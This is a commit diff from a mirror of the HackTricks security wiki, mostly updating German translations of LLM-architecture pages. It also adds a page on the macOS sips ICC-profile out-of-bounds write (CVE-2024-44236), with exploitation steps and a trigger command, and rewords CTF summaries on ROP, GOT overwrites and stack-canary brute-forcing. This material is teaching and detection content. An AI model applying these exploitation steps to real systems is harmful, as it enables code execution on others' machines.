mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll
This commit is contained in:
Translator
parent
289e67b6b8
commit
000256ddad
@ -19,12 +19,12 @@ Tokens: `["Hallo", ",", "Welt", "!"]`
|
||||
2. **Erstellen eines Vokabulars:**
|
||||
- Um Tokens in numerische IDs umzuwandeln, wird ein **Vokabular** erstellt. Dieses Vokabular listet alle einzigartigen Tokens (Wörter und Symbole) auf und weist jedem eine spezifische ID zu.
|
||||
- **Sondertokens:** Dies sind spezielle Symbole, die dem Vokabular hinzugefügt werden, um verschiedene Szenarien zu behandeln:
|
||||
- `[BOS]` (Anfang der Sequenz): Kennzeichnet den Beginn eines Textes.
|
||||
- `[BOS]` (Beginn der Sequenz): Kennzeichnet den Anfang eines Textes.
|
||||
- `[EOS]` (Ende der Sequenz): Kennzeichnet das Ende eines Textes.
|
||||
- `[PAD]` (Padding): Wird verwendet, um alle Sequenzen in einem Batch auf die gleiche Länge zu bringen.
|
||||
- `[UNK]` (Unbekannt): Stellt Tokens dar, die nicht im Vokabular enthalten sind.
|
||||
- _Beispiel:_\
|
||||
Wenn `"Hallo"` die ID `64` zugewiesen wird, `","` die `455`, `"Welt"` die `78` und `"!"` die `467`, dann:\
|
||||
Wenn `"Hallo"` die ID `64` zugewiesen wird, `","` `455`, `"Welt"` `78` und `"!"` `467`, dann:\
|
||||
`"Hallo, Welt!"` → `[64, 455, 78, 467]`
|
||||
- **Umgang mit unbekannten Wörtern:**\
|
||||
Wenn ein Wort wie `"Tschüss"` nicht im Vokabular enthalten ist, wird es durch `[UNK]` ersetzt.\
|
||||
@ -57,13 +57,13 @@ Während der einfache Tokenizer gut für einfache Texte funktioniert, hat er Ein
|
||||
- Balanciert zwischen einer handhabbaren Vokabulargröße und einer effektiven Darstellung von Wörtern.
|
||||
- Behandelt seltene und zusammengesetzte Wörter effizient.
|
||||
- _Beispiel:_\
|
||||
`"Unglück"` könnte als `["un", "glück"]` oder `["un", "glücklich", "keit"]` tokenisiert werden, abhängig vom Vokabular.
|
||||
`"Unglück"` könnte als `["un", "glück"]` oder `["un", "glücklich", "keit"]` tokenisiert werden, je nach Vokabular.
|
||||
3. **Unigram-Sprachmodell:**
|
||||
- **Verwendet von:** Modellen wie SentencePiece.
|
||||
- **Zweck:** Verwendet ein probabilistisches Modell, um die wahrscheinlichste Menge von Subwort-Tokens zu bestimmen.
|
||||
- **Wie es funktioniert:**
|
||||
- Beginnt mit einer großen Menge potenzieller Tokens.
|
||||
- Entfernt iterativ Tokens, die die Wahrscheinlichkeit des Modells für die Trainingsdaten am wenigsten verbessern.
|
||||
- Entfernt iterativ Tokens, die die Wahrscheinlichkeit der Trainingsdaten am wenigsten verbessern.
|
||||
- Finalisiert ein Vokabular, in dem jedes Wort durch die wahrscheinlichsten Subwort-Einheiten dargestellt wird.
|
||||
- **Vorteile:**
|
||||
- Flexibel und kann Sprache natürlicher modellieren.
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Nach der Tokenisierung von Textdaten ist der nächste kritische Schritt zur Vorbereitung der Daten für das Training großer Sprachmodelle (LLMs) wie GPT die Erstellung von **Token-Embeddings**. Token-Embeddings transformieren diskrete Tokens (wie Wörter oder Subwörter) in kontinuierliche numerische Vektoren, die das Modell verarbeiten und aus denen es lernen kann. Diese Erklärung zerlegt Token-Embeddings, deren Initialisierung, Verwendung und die Rolle der Positions-Embeddings zur Verbesserung des Verständnisses des Modells für Token-Sequenzen.
|
||||
Nach der Tokenisierung von Textdaten ist der nächste kritische Schritt bei der Vorbereitung von Daten für das Training großer Sprachmodelle (LLMs) wie GPT die Erstellung von **Token-Embeddings**. Token-Embeddings transformieren diskrete Tokens (wie Wörter oder Subwörter) in kontinuierliche numerische Vektoren, die das Modell verarbeiten und aus denen es lernen kann. Diese Erklärung zerlegt Token-Embeddings, deren Initialisierung, Verwendung und die Rolle von Positions-Embeddings zur Verbesserung des Verständnisses des Modells für Token-Sequenzen.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser dritten Phase ist sehr einfach: **Jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zuzuweisen, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
|
||||
> Das Ziel dieser dritten Phase ist sehr einfach: **Weisen Sie jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zu, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
|
||||
> Beachten Sie, dass die Position jedes Wortes im Raum zunächst "zufällig" initialisiert wird und diese Positionen trainierbare Parameter sind (während des Trainings verbessert werden).
|
||||
>
|
||||
> Darüber hinaus wird während des Token-Embeddings **eine weitere Schicht von Embeddings erstellt**, die (in diesem Fall) die **absolute Position des Wortes im Trainingssatz** darstellt. Auf diese Weise hat ein Wort an verschiedenen Positionen im Satz eine unterschiedliche Darstellung (Bedeutung).
|
||||
@ -123,34 +123,34 @@ cssCopy codeBatch
|
||||
- Jedes Token in der Sequenz wird durch einen 256-dimensionalen Vektor dargestellt.
|
||||
- Das Modell verarbeitet diese Embeddings, um Sprachmuster zu lernen und Vorhersagen zu generieren.
|
||||
|
||||
## **Positions-Embeddings: Kontext zu Token-Embeddings hinzufügen**
|
||||
## **Positionale Embeddings: Kontext zu Token-Embeddings hinzufügen**
|
||||
|
||||
Während Token-Embeddings die Bedeutung einzelner Tokens erfassen, kodieren sie nicht von Natur aus die Position der Tokens innerhalb einer Sequenz. Das Verständnis der Reihenfolge der Tokens ist entscheidend für das Sprachverständnis. Hier kommen **Positions-Embeddings** ins Spiel.
|
||||
Während Token-Embeddings die Bedeutung einzelner Tokens erfassen, kodieren sie nicht von Natur aus die Position der Tokens innerhalb einer Sequenz. Das Verständnis der Reihenfolge der Tokens ist entscheidend für das Sprachverständnis. Hier kommen **positionale Embeddings** ins Spiel.
|
||||
|
||||
### **Warum Positions-Embeddings benötigt werden:**
|
||||
### **Warum positionale Embeddings benötigt werden:**
|
||||
|
||||
- **Die Reihenfolge der Tokens ist wichtig:** In Sätzen hängt die Bedeutung oft von der Reihenfolge der Wörter ab. Zum Beispiel: "Die Katze saß auf der Matte" vs. "Die Matte saß auf der Katze."
|
||||
- **Einschränkung der Embeddings:** Ohne Positionsinformationen behandelt das Modell Tokens als eine "Tüte voller Wörter" und ignoriert ihre Reihenfolge.
|
||||
- **Token-Reihenfolge ist wichtig:** In Sätzen hängt die Bedeutung oft von der Reihenfolge der Wörter ab. Zum Beispiel "Die Katze saß auf der Matte" vs. "Die Matte saß auf der Katze."
|
||||
- **Einschränkung der Embeddings:** Ohne Positionsinformationen behandelt das Modell Tokens als eine "Tasche von Wörtern" und ignoriert ihre Reihenfolge.
|
||||
|
||||
### **Arten von Positions-Embeddings:**
|
||||
### **Arten von positionalen Embeddings:**
|
||||
|
||||
1. **Absolute Positions-Embeddings:**
|
||||
1. **Absolute positionale Embeddings:**
|
||||
- Weisen jeder Position in der Sequenz einen einzigartigen Positionsvektor zu.
|
||||
- **Beispiel:** Das erste Token in jeder Sequenz hat dasselbe Positions-Embedding, das zweite Token hat ein anderes und so weiter.
|
||||
- **Beispiel:** Das erste Token in jeder Sequenz hat dasselbe positionale Embedding, das zweite Token hat ein anderes und so weiter.
|
||||
- **Verwendet von:** OpenAI’s GPT-Modelle.
|
||||
2. **Relative Positions-Embeddings:**
|
||||
2. **Relative positionale Embeddings:**
|
||||
- Kodieren den relativen Abstand zwischen Tokens anstelle ihrer absoluten Positionen.
|
||||
- **Beispiel:** Geben an, wie weit zwei Tokens voneinander entfernt sind, unabhängig von ihren absoluten Positionen in der Sequenz.
|
||||
- **Verwendet von:** Modellen wie Transformer-XL und einigen Varianten von BERT.
|
||||
|
||||
### **Wie Positions-Embeddings integriert werden:**
|
||||
### **Wie positionale Embeddings integriert werden:**
|
||||
|
||||
- **Gleiche Dimensionen:** Positions-Embeddings haben dieselbe Dimensionalität wie Token-Embeddings.
|
||||
- **Gleiche Dimensionen:** Positionale Embeddings haben die gleiche Dimensionalität wie Token-Embeddings.
|
||||
- **Addition:** Sie werden zu Token-Embeddings addiert, wodurch die Identität des Tokens mit Positionsinformationen kombiniert wird, ohne die gesamte Dimensionalität zu erhöhen.
|
||||
|
||||
**Beispiel für das Hinzufügen von Positions-Embeddings:**
|
||||
**Beispiel für das Hinzufügen von positionalen Embeddings:**
|
||||
|
||||
Angenommen, ein Token-Embedding-Vektor ist `[0.5, -0.2, 0.1]` und sein Positions-Embedding-Vektor ist `[0.1, 0.3, -0.1]`. Das kombinierte Embedding, das vom Modell verwendet wird, wäre:
|
||||
Angenommen, ein Token-Embedding-Vektor ist `[0.5, -0.2, 0.1]` und sein positionales Embedding-Vektor ist `[0.1, 0.3, -0.1]`. Das kombinierte Embedding, das vom Modell verwendet wird, wäre:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
|
||||
@ -197,7 +197,7 @@ print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **GELU Aktivierungsfunktion**
|
||||
### **GELU-Aktivierungsfunktion**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
@ -254,7 +254,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> [!TIP]
|
||||
> Wie Sie sehen können, verwendet das Feed Forward-Netzwerk 3 Schichten. Die erste ist eine lineare Schicht, die die Dimensionen mit 4 multipliziert, indem sie lineare Gewichte (Parameter, die im Modell trainiert werden) verwendet. Dann wird die GELU-Funktion in all diesen Dimensionen verwendet, um nicht-lineare Variationen anzuwenden, um reichhaltigere Darstellungen zu erfassen, und schließlich wird eine weitere lineare Schicht verwendet, um zur ursprünglichen Größe der Dimensionen zurückzukehren.
|
||||
|
||||
### **Multi-Head Attention-Mechanismus**
|
||||
### **Multi-Head Attention Mechanismus**
|
||||
|
||||
Dies wurde bereits in einem früheren Abschnitt erklärt.
|
||||
|
||||
@ -264,7 +264,7 @@ Dies wurde bereits in einem früheren Abschnitt erklärt.
|
||||
- **Schlüsselelemente:**
|
||||
- **Abfragen, Schlüssel, Werte:** Lineare Projektionen der Eingabe, die zur Berechnung der Aufmerksamkeitswerte verwendet werden.
|
||||
- **Köpfe:** Mehrere Aufmerksamkeitsmechanismen, die parallel laufen (`num_heads`), jeder mit einer reduzierten Dimension (`head_dim`).
|
||||
- **Aufmerksamkeitswerte:** Berechnet als das Skalarprodukt von Abfragen und Schlüsseln, skaliert und maskiert.
|
||||
- **Aufmerksamkeitswerte:** Werden als das Skalarprodukt von Abfragen und Schlüsseln berechnet, skaliert und maskiert.
|
||||
- **Maskierung:** Eine kausale Maske wird angewendet, um zu verhindern, dass das Modell zukünftige Tokens berücksichtigt (wichtig für autoregressive Modelle wie GPT).
|
||||
- **Aufmerksamkeitsgewichte:** Softmax der maskierten und skalierten Aufmerksamkeitswerte.
|
||||
- **Kontextvektor:** Gewichtete Summe der Werte, entsprechend den Aufmerksamkeitsgewichten.
|
||||
@ -273,9 +273,9 @@ Dies wurde bereits in einem früheren Abschnitt erklärt.
|
||||
> [!TIP]
|
||||
> Das Ziel dieses Netzwerks ist es, die Beziehungen zwischen Tokens im gleichen Kontext zu finden. Darüber hinaus werden die Tokens in verschiedene Köpfe unterteilt, um Überanpassung zu verhindern, obwohl die endgültigen Beziehungen, die pro Kopf gefunden werden, am Ende dieses Netzwerks kombiniert werden.
|
||||
>
|
||||
> Darüber hinaus wird während des Trainings eine **kausale Maske** angewendet, sodass spätere Tokens nicht berücksichtigt werden, wenn die spezifischen Beziehungen zu einem Token betrachtet werden, und es wird auch ein **Dropout** angewendet, um **Überanpassung zu verhindern**.
|
||||
> Darüber hinaus wird während des Trainings eine **kausale Maske** angewendet, sodass spätere Tokens nicht berücksichtigt werden, wenn die spezifischen Beziehungen zu einem Token betrachtet werden, und es wird auch **Dropout** angewendet, um **Überanpassung zu verhindern**.
|
||||
|
||||
### **Layer** Normalisierung
|
||||
### **Schicht** Normalisierung
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
@ -308,7 +308,7 @@ return self.scale * norm_x + self.shift
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
_Schablonen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
_Shapes wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
@ -351,16 +351,16 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Zusammensetzung der Schichten:** Kombiniert Multi-Head-Attention, Feedforward-Netzwerk, Layer-Normalisierung und Residualverbindungen.
|
||||
- **Layer-Normalisierung:** Vor der Attention- und Feedforward-Schicht für stabiles Training angewendet.
|
||||
- **Layer-Normalisierung:** Vor der Attention- und Feedforward-Schicht angewendet für stabiles Training.
|
||||
- **Residualverbindungen (Abkürzungen):** Fügen den Eingang einer Schicht zu ihrem Ausgang hinzu, um den Gradientfluss zu verbessern und das Training tiefer Netzwerke zu ermöglichen.
|
||||
- **Dropout:** Nach der Attention- und Feedforward-Schicht zur Regularisierung angewendet.
|
||||
|
||||
#### **Schritt-für-Schritt-Funktionalität**
|
||||
|
||||
1. **Erster Residualpfad (Self-Attention):**
|
||||
1. **Erster Residualpfad (Selbst-Attention):**
|
||||
- **Eingang (`shortcut`):** Speichern des ursprünglichen Eingangs für die Residualverbindung.
|
||||
- **Layer Norm (`norm1`):** Normalisieren des Eingangs.
|
||||
- **Multi-Head Attention (`att`):** Selbst-Attention anwenden.
|
||||
- **Multi-Head-Attention (`att`):** Selbst-Attention anwenden.
|
||||
- **Dropout (`drop_shortcut`):** Dropout zur Regularisierung anwenden.
|
||||
- **Add Residual (`x + shortcut`):** Mit dem ursprünglichen Eingang kombinieren.
|
||||
2. **Zweiter Residualpfad (FeedForward):**
|
||||
@ -372,7 +372,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
> [!TIP]
|
||||
> Der Transformer-Block gruppiert alle Netzwerke zusammen und wendet einige **Normalisierungen** und **Dropouts** an, um die Trainingsstabilität und -ergebnisse zu verbessern.\
|
||||
> Beachten Sie, dass Dropouts nach der Verwendung jedes Netzwerks durchgeführt werden, während die Normalisierung vorher angewendet wird.
|
||||
> Beachten Sie, wie Dropouts nach der Verwendung jedes Netzwerks durchgeführt werden, während die Normalisierung vorher angewendet wird.
|
||||
>
|
||||
> Darüber hinaus verwendet er auch Abkürzungen, die darin bestehen, **den Ausgang eines Netzwerks mit seinem Eingang zu addieren**. Dies hilft, das Problem des verschwindenden Gradienten zu verhindern, indem sichergestellt wird, dass die anfänglichen Schichten "genauso viel" beitragen wie die letzten.
|
||||
|
||||
@ -610,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Text generieren
|
||||
|
||||
Ein Modell, das das nächste Token wie das vorherige vorhersagt, benötigt lediglich die letzten Token-Werte aus der Ausgabe (da dies die Werte des vorhergesagten Tokens sein werden), was ein **Wert pro Eintrag im Vokabular** ist. Dann wird die `softmax`-Funktion verwendet, um die Dimensionen in Wahrscheinlichkeiten zu normalisieren, die sich auf 1 summieren, und anschließend wird der Index des größten Eintrags ermittelt, der der Index des Wortes im Vokabular sein wird.
|
||||
Ein Modell, das das nächste Token wie das vorherige vorhersagt, benötigt lediglich die letzten Token-Werte aus der Ausgabe (da dies die Werte des vorhergesagten Tokens sein werden), was ein **Wert pro Eintrag im Vokabular** ist. Dann wird die `softmax`-Funktion verwendet, um die Dimensionen in Wahrscheinlichkeiten zu normalisieren, die sich zu 1 summieren, und anschließend wird der Index des größten Eintrags ermittelt, der der Index des Wortes im Vokabular sein wird.
|
||||
|
||||
Code von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
|
||||
@ -795,6 +795,7 @@
|
||||
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
|
||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
|
||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
|
||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
|
||||
@ -0,0 +1,53 @@
|
||||
# WWW2Exec - sips ICC-Profil Out-of-Bounds Write (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Übersicht
|
||||
|
||||
Eine Out-of-Bounds-Write-Sicherheitsanfälligkeit im ICC-Profilparser des Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) aufgrund unzureichender Validierung des `offsetToCLUT`-Feldes in den `lutAToBType` (`mAB `) und `lutBToAType` (`mBA `) Tags. Eine manipulierte ICC-Datei kann Null-Schreibvorgänge bis zu 16 Bytes über den Heap-Puffer hinaus auslösen, was die Heap-Metadaten oder Funktionszeiger beschädigt und die Ausführung beliebigen Codes ermöglicht (CVE-2024-44236).
|
||||
|
||||
## Verwundbarer Code
|
||||
|
||||
Die verwundbare Funktion liest und setzt 16 Bytes auf Null, beginnend von einem vom Angreifer kontrollierten Offset, ohne sicherzustellen, dass dieser innerhalb des zugewiesenen Puffers liegt:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
}
|
||||
```
|
||||
Nur eine Überprüfung `offsetToCLUT <= totalDataLength` wird durchgeführt. Durch Setzen von `offsetToCLUT == tagDataSize` indiziert die Schleife bis zu 16 Bytes über das Ende von `buffer` hinaus und korrumpiert benachbarte Heap-Metadaten.
|
||||
|
||||
## Exploitation Steps
|
||||
|
||||
1. **Bösartiges `.icc`-Profil erstellen:**
|
||||
- Erstellen Sie den ICC-Header (128 Bytes) mit der Signatur `acsp` und einem einzelnen `lutAToBType` oder `lutBToAType` Tag-Eintrag.
|
||||
- Setzen Sie in der Tag-Tabelle `offsetToCLUT` gleich der `size` des Tags (`tagDataSize`).
|
||||
- Platzieren Sie von Angreifern kontrollierte Daten unmittelbar nach dem Tag-Datenblock, um die Heap-Metadaten zu überschreiben.
|
||||
2. **Parsing auslösen:**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
```
|
||||
|
||||
3. **Korrumpierung der Heap-Metadaten:** Die OOB-Nullschreibvorgänge überschreiben die Allokator-Metadaten oder benachbarte Zeiger, wodurch der Angreifer die Kontrolle über den Fluss übernehmen und die Ausführung beliebigen Codes im Kontext des `sips`-Prozesses erreichen kann.
|
||||
|
||||
## Impact
|
||||
|
||||
Erfolgreiche Ausnutzung führt zu einer Remote-Ausführung beliebigen Codes mit Benutzerprivilegien auf macOS-Systemen, die das anfällige `sips`-Dienstprogramm ausführen.
|
||||
|
||||
## Detection
|
||||
|
||||
- Überwachen Sie Dateiübertragungen über gängige Protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Überprüfen Sie übertragene Dateien mit der Signatur `acsp`.
|
||||
- Überprüfen Sie für jedes `mAB ` oder `mBA ` Tag, ob das Feld `Offset to CLUT` der `Tag data size` entspricht.
|
||||
- Als verdächtig kennzeichnen, wenn diese Bedingung erfüllt ist.
|
||||
|
||||
## References
|
||||
|
||||
- ZDI-Blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Apple Oktober 2024 Sicherheitsupdate (Patch für CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
@ -11,8 +11,10 @@ Hier finden Sie jedoch einige schöne **Beispiele**:
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Es gibt **2 kollidierende Arrays**, eines für **Adressen**, wo Daten gespeichert sind, und eines mit den **Größen** dieser Daten. Es ist möglich, eines vom anderen zu überschreiben, was es ermöglicht, eine beliebige Adresse anzugeben, die als Größe betrachtet wird. Dies erlaubt es, die Adresse der `free`-Funktion in der GOT-Tabelle zu schreiben und sie dann mit der Adresse von `system` zu überschreiben und `free` aus einem Speicher mit `/bin/sh` aufzurufen.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 Bit, kein nx. Überschreiben Sie eine Größe, um eine Art Pufferüberlauf zu erhalten, bei dem alles als doppelte Zahl verwendet wird und von klein nach groß sortiert wird, sodass es erforderlich ist, einen Shellcode zu erstellen, der diese Anforderung erfüllt, wobei zu beachten ist, dass der Canary nicht von seiner Position verschoben werden sollte, und schließlich die RIP mit einer Adresse zu ret überschreiben, die die vorherigen Anforderungen erfüllt und die größte Adresse auf eine neue Adresse zeigt, die auf den Anfang des Stacks zeigt (vom Programm geleakt), sodass es möglich ist, das ret zu verwenden, um dorthin zu springen.
|
||||
- 64 Bit, kein nx. Überschreiben Sie eine Größe, um eine Art Pufferüberlauf zu erhalten, bei dem alles als doppelte Zahl verwendet wird und von klein nach groß sortiert wird, sodass es notwendig ist, einen Shellcode zu erstellen, der diese Anforderung erfüllt, wobei zu beachten ist, dass der Canary nicht von seiner Position verschoben werden sollte und schließlich die RIP mit einer Adresse zu ret überschrieben wird, die die vorherigen Anforderungen erfüllt und die größte Adresse auf eine neue Adresse zeigt, die auf den Anfang des Stacks zeigt (vom Programm geleakt), sodass es möglich ist, das ret zu verwenden, um dorthin zu springen.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 Bit, kein relro, Canary, nx, kein pie. Es gibt einen Off-by-One-Fehler in einem Array im Stack, der es ermöglicht, einen Zeiger zu kontrollieren, der WWW gewährt (es schreibt die Summe aller Zahlen des Arrays in die überschriebenen Adressen durch den Off-by-One-Fehler im Array). Der Stack wird kontrolliert, sodass die GOT-Adresse `exit` mit `pop rdi; ret` überschrieben wird, und im Stack wird die Adresse zu `main` hinzugefügt (zurück zu `main` schleifen). Eine ROP-Kette wird verwendet, um die Adresse von put in der GOT mit puts zu leaken (`exit` wird aufgerufen, sodass es `pop rdi; ret` aufruft und daher diese Kette im Stack ausführt). Schließlich wird eine neue ROP-Kette verwendet, die ret2lib ausführt.
|
||||
- 64 Bit, kein relro, Canary, nx, kein pie. Es gibt einen Off-by-One in einem Array im Stack, der es ermöglicht, einen Zeiger zu kontrollieren, der WWW gewährt (es schreibt die Summe aller Zahlen des Arrays in die überschrieben Adresse durch den Off-by-One im Array). Der Stack wird kontrolliert, sodass die GOT-Adresse `exit` mit `pop rdi; ret` überschrieben wird, und im Stack wird die Adresse zu `main` hinzugefügt (zurück zu `main` schleifen). Eine ROP-Kette wird verwendet, um die Adresse von put in der GOT unter Verwendung von puts zu leaken (`exit` wird aufgerufen, sodass es `pop rdi; ret` aufruft und somit diese Kette im Stack ausführt). Schließlich wird eine neue ROP-Kette verwendet, die ret2lib ausführt.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 Bit, kein relro, kein Canary, nx, pie. Missbrauch einer schlechten Indizierung, um Adressen von libc und Heap aus dem Stack zu leaken. Missbrauch des Pufferüberlaufs, um ein ret2lib aufzurufen, das `system('/bin/sh')` aufruft (die Heap-Adresse wird benötigt, um eine Überprüfung zu umgehen).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass **`checksec`** möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.\
|
||||
> Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
|
||||
|
||||
@ -14,11 +14,11 @@
|
||||
|
||||
Der beste Weg, einen einfachen Canary zu umgehen, ist, wenn die binäre Datei ein Programm ist, das **bei jeder neuen Verbindung Kindprozesse forked**, da bei jeder Verbindung **der gleiche Canary verwendet wird**.
|
||||
|
||||
Der beste Weg, den Canary zu umgehen, besteht darin, ihn einfach **zeichenweise zu brute-forcen**, und Sie können herausfinden, ob das erratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **brute-forced die Funktion einen 8 Bytes Canary (x64)** und unterscheidet zwischen einem korrekt erratenen Byte und einem schlechten Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (eine andere Möglichkeit in **anderen Situationen** könnte die Verwendung von **try/except** sein):
|
||||
Der beste Weg, den Canary zu umgehen, besteht darin, ihn einfach **Zeichen für Zeichen zu brute-forcen**, und Sie können herausfinden, ob das erratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **brute-forced die Funktion einen 8-Byte-Canary (x64)** und unterscheidet zwischen einem korrekt erratenen Byte und einem schlechten Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (eine andere Möglichkeit in **anderen Situationen** könnte die Verwendung von **try/except** sein):
|
||||
|
||||
### Beispiel 1
|
||||
|
||||
Dieses Beispiel ist für 64-Bit implementiert, könnte aber leicht für 32-Bit implementiert werden.
|
||||
Dieses Beispiel ist für 64-Bit implementiert, könnte jedoch leicht für 32-Bit implementiert werden.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -105,13 +105,15 @@ log.info(f"The canary is: {canary}")
|
||||
|
||||
Threads desselben Prozesses werden auch **das gleiche Canary-Token teilen**, daher wird es möglich sein, ein Canary zu **brute-forcen**, wenn die Binärdatei bei jedem Angriff einen neuen Thread erzeugt.
|
||||
|
||||
Darüber hinaus könnte ein **Buffer Overflow in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um das **Master-Canary, das im TLS gespeichert ist, zu modifizieren**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und damit das Canary) über einen **Bof im Stack** eines Threads.\
|
||||
Darüber hinaus könnte ein Buffer **Overflow in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um das **Master-Canary, das im TLS gespeichert ist, zu modifizieren**. Das liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und damit das Canary) über einen **Bof im Stack** eines Threads.\
|
||||
Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).\
|
||||
Dieser Angriff wird in dem Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
Dieser Angriff wird im Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Überprüfen Sie auch die Präsentation von [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), die erwähnt, dass normalerweise das **TLS** durch **`mmap`** gespeichert wird und wenn ein **Stack** eines **Threads** erstellt wird, es ebenfalls durch `mmap` generiert wird, was den Overflow ermöglichen könnte, wie im vorherigen Writeup gezeigt.
|
||||
Überprüfen Sie auch die Präsentation von [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), die erwähnt, dass normalerweise das **TLS** durch **`mmap`** gespeichert wird und wenn ein **Stack** eines **Threads** erstellt wird, es auch durch `mmap` generiert wird, was den Overflow ermöglichen könnte, wie im vorherigen Writeup gezeigt.
|
||||
|
||||
